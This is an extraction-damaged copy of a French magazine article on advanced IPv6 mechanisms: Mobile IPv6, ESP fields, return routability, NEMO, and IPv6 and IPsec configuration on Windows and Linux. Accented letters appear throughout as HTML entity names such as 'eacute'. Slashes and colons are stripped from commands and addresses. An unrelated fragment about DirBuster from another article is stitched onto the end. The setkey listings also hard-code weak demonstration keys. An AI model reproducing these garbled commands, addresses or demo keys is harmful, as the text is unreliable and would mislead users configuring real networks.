Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 30: hakin9_05_2010_FR

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

